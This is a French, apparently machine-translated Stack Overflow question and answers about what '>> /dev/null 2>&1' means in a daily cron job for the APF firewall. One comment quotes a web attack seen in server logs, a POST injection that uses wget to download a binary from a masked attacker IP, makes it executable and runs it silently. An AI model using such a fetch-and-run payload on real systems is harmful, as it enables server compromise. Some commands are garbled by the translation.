Qu'est-ce que / dev / null 2> & 1?

237

J'ai trouvé ce morceau de code dans /etc/cron.daily/apf

#!/bin/bash  
/etc/apf/apf -f >> /dev/null 2>&1  
/etc/apf/apf -s >> /dev/null 2>&1  

Il purge et recharge le pare-feu.
Je ne comprends pas la >> /dev/null 2>&1partie.

Quel est le but d'avoir cela dans le cron? Il remplace mes règles de pare-feu. Puis-je supprimer ce travail cron en toute sécurité?

repos
la source
1
FYI: Une façon plus courte de faire taire un processus est >&- 2>&-.
Zaz
22
@Josh: pourquoi rendre les choses encore plus cryptiques qu'elles ne le sont déjà?
endolith
4
@Josh Ceci ferme les FD respectifs, ce qui pourrait faire avorter les programmes.
glglgl
1
est 2>&1 > /dev/nullle même que > /dev/null 2>&1 ? Cela me semble plus naturel ...
edelans
6
@edelans Non. De cette façon, redirige stderr vers stdout, mais seule la stdout d'origine vers /dev/null—stderr sera toujours sortie. Essayez l'outil sur gist.github.com/zigg/344361751c0110419b0f
zigg

Réponses:

354

>> /dev/nullredirige la sortie standard ( stdout) vers /dev/null, qui la rejette.

(Le >>semble en quelque sorte superflu, car >>signifie ajouter tandis que >signifie tronquer et écrire, et l'ajout ou l'écriture à /dev/nulla le même effet net. Je l'utilise généralement >pour cette raison.)

2>&1redirige l'erreur standard ( 2) vers la sortie standard ( 1), qui la supprime également car la sortie standard a déjà été redirigée.

zigg
la source
7
Qu'est-ce que le &symbole indique là-dedans 2>&1.
Personne le
17
& indique un descripteur de fichier. Il existe généralement 3 descripteurs de fichiers - entrée, sortie et erreur standard.
Testing123
1
@ Personne ne vérifie ma réponse ci-dessous pour votre question stackoverflow.com/questions/10508843/what-is-dev-null-21/…
Vishrant
1
Si & indique un descripteur de fichier, pourquoi n'y a-t-il pas & avant 2?
user6708151
1
Juste au cas où d'autres ne When redirecting data streams, & means whatever follows is a file descriptor, not a filename.
liraient
199

Décomposons la >> /dev/null 2>&1déclaration en plusieurs parties:


Partie 1: >> redirection de sortie

Ceci est utilisé pour rediriger la sortie du programme et ajouter la sortie à la fin du fichier. Plus...


Partie 2: /dev/null dossier spécial

Il s'agit d'un fichier spécial Pseudo-devices .

La commande ls -l /dev/nullvous donnera des détails sur ce fichier:

crw-rw-rw-. 1 root root 1, 3 Mar 20 18:37 /dev/null

Avez-vous observé crw? Ce qui signifie qu'il s'agit d'un fichier pseudo-périphérique de type fichier de caractères spéciaux qui fournit un accès série.

/dev/nullaccepte et rejette toutes les entrées; ne produit aucune sortie (renvoie toujours une indication de fin de fichier lors d'une lecture). Référence: Wikipedia


Partie 3: 2>&1 descripteur de fichier

Chaque fois que vous exécutez un programme, le système d'exploitation ouvre toujours trois fichiers, entrée standard, sortie standard et erreur standard comme nous le savons chaque fois qu'un fichier est ouvert, le système d'exploitation (du noyau ) renvoie un entier non négatif appelé descripteur de fichier . Le descripteur de fichier de ces fichiers est 0, 1 et 2, respectivement.

Dit donc 2>&1simplement rediriger l'erreur standard vers la sortie standard.

& signifie que tout ce qui suit est un descripteur de fichier, pas un nom de fichier.

En bref, en utilisant cette commande, vous dites à votre programme de ne pas crier pendant l'exécution.

Quelle est l'importance d'utiliser 2>&1?

Si vous ne voulez pas produire de sortie, même en cas d'erreur produite dans le terminal. Pour expliquer plus clairement, considérons l'exemple suivant:

$ ls -l > /dev/null

Pour la commande ci-dessus, aucune sortie n'a été imprimée dans le terminal, mais que se passe-t-il si cette commande génère une erreur:

$ ls -l file_doesnot_exists > /dev/null
ls: cannot access file_doesnot_exists: No such file or directory

Bien que je redirige la sortie vers /dev/null, elle est imprimée dans le terminal. C'est parce que nous ne redirigeons pas la sortie d'erreur vers /dev/null, donc pour rediriger également la sortie d'erreur, il est nécessaire d'ajouter 2>&1:

$ ls -l file_doesnot_exists > /dev/null 2>&1
Vishrant
la source
2
Bon exemple! Je ne sais pas '>' ne redirigera pas 'STDERR' avant.
miao.wang
Joliment expliqué! très instructif. Merci. Cela m'aiderait à comprendre l'attaque Web que j'ai récemment rencontrée. L'attaquant injecte du code malveillant via une requête POST qui contient le morceau de code ci-dessus.
Sohel Pathan
1
@Vishrant Injected code is like: POST / user / password? Name [% 23post_render] [] = system & name [% 23markup] = cd + / tmp; wget + -O + xm111 + xxx.xxx.xxx.xxx/xm111;chmod+777+ xm111; wget + -O + config.json + http: /… > / dev / null 2> & 1 & HTTP / 1.1 xxx.xxx.xxx.xxx est l'IP de l'attaquant et il est également répertorié comme abusif sur de nombreux sites. La première étape préventive consiste à bloquer l'adresse IP dans le pare-feu ainsi que le modèle de ces adresses IP. L'attaque consistait à rediriger sur un site Web tiers lors du chargement de la page d'accueil. Le journal du serveur Apache a montré une adresse IP et une demande douteuses.
Sohel Pathan
5
Je me demandais simplement pourquoi nous n'utilisions pas «&» avant 2 aussi. Quelqu'un pourrait-il effacer mon doute?
Snehasish Karmakar
1
@SnehasishKarmakar une question légitime. Je crois que le système d'exploitation est assez intelligent pour comprendre que le premier argument sera un descripteur de fichier mais >est un opérateur de redirection, tout ce qui suit l'opérateur de redirection devrait être un emplacement de fichier ajoutant &avant 1indique que ce n'est pas un fichier où l'application doit rediriger la sortie mais un descripteur de fichier. J'apprécierai si quelqu'un peut ajouter plus de détails sur ce commentaire.
Vishrant
58

C'est la façon d'exécuter un programme en silence et de masquer toute sa sortie.

/dev/nullest un objet système de fichiers spécial qui supprime tout ce qui y est écrit. Rediriger un flux vers celui-ci signifie cacher la sortie de votre programme.

La 2>&1partie signifie "rediriger le flux d'erreur vers le flux de sortie", donc lorsque vous redirigez le flux de sortie, le flux d'erreur est également redirigé. Même si votre programme écrit stderrmaintenant, cette sortie sera également ignorée.

dasblinkenlight
la source
37
En fait, 2>&1réoriente en fait stderrà stdout. La différence entre cela et ce que vous avez affirmé est mieux illustrée en échangeant l'ordre des redirections, par exemple 2>&1 >/dev/null.
zigg
15

/dev/null est un fichier standard qui rejette tout ce que vous y écrivez, mais signale que l'opération d'écriture a réussi.

1est une sortie standard et 2une erreur standard.

2>&1redirige l'erreur standard vers la sortie standard. &1indique un descripteur de fichier (sortie standard), sinon (si vous utilisez uniquement 1) vous redirigerez l'erreur standard vers un fichier nommé 1. [any command] >>/dev/null 2>&1redirige toutes les erreurs standard vers la sortie standard et écrit tout cela dans /dev/null.

Yuriy
la source
7

J'utilise >> /dev/null 2>&1pour un cronjob silencieux. Un cronjob fera le travail, mais n'enverra pas de rapport à mon email.

Pour autant que je sache, ne retirez pas /dev/null. Il est utile, en particulier lorsque vous exécutez cPanel , il peut être utilisé pour les rapports de cronjob à jeter.

Christian
la source
2

Comme décrit par les autres, écrire dans / dev / null élimine la sortie d'un programme. En général, cron envoie un e-mail pour chaque sortie du processus démarré par un cronjob. Ainsi, en écrivant la sortie dans / dev / null, vous évitez d'être spammé si vous avez spécifié votre adresse dans cron.

FSMaxB
la source
0

Modifier /etc/conf.apf. Set DEVEL_MODE="0". DEVEL_MODEréglé sur 1ajoutera une tâche cron pour arrêter l'apf après 5 minutes.

dstonek
la source